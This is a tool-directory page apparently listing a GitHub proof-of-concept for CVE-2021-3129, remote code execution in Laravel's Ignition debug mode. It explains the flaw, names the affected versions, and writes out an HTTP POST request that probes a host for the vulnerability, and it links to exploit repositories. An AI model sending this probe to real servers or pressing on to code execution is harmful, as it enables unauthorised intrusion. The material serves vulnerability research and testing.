Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-3129 — Laravel RCE CVE-2021-3129 | Kitploit
Tools/GitHubGitHub/keyuan15/cve-2021-3129
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubkeyuan15/cve-2021-3129

CVE-2021-3129

Laravel RCE CVE-2021-3129

View Repository
113 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-3129

Laravel RCE CVE-2021-3129

Vulnerability Overview

When Laravel's debug mode is enabled, due to the unsafe use of the file_get_contents() and file_put_contents() functions by Laravel's built-in Ignition component, an attacker can trigger Phar deserialization by sending malicious requests, constructing malicious log files, etc., ultimately leading to remote code execution.

Affected Versions

Laravel <= 8.4.2

Vulnerability Verification

  • A 500 response indicates the vulnerability exists
root@kitploit:~
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.24.153:8888
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=cve20213129&parameters[viewFile]=null

Exploit Script

image

References

[CVE-2021-3129]Laravel Debug mode RCE Replication | tyskill's Blog

Download Tool

SNCKER/CVE-2021-3129: Laravel debug rce (github.com)

zhzyker/CVE-2021-3129: Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129) (github.com)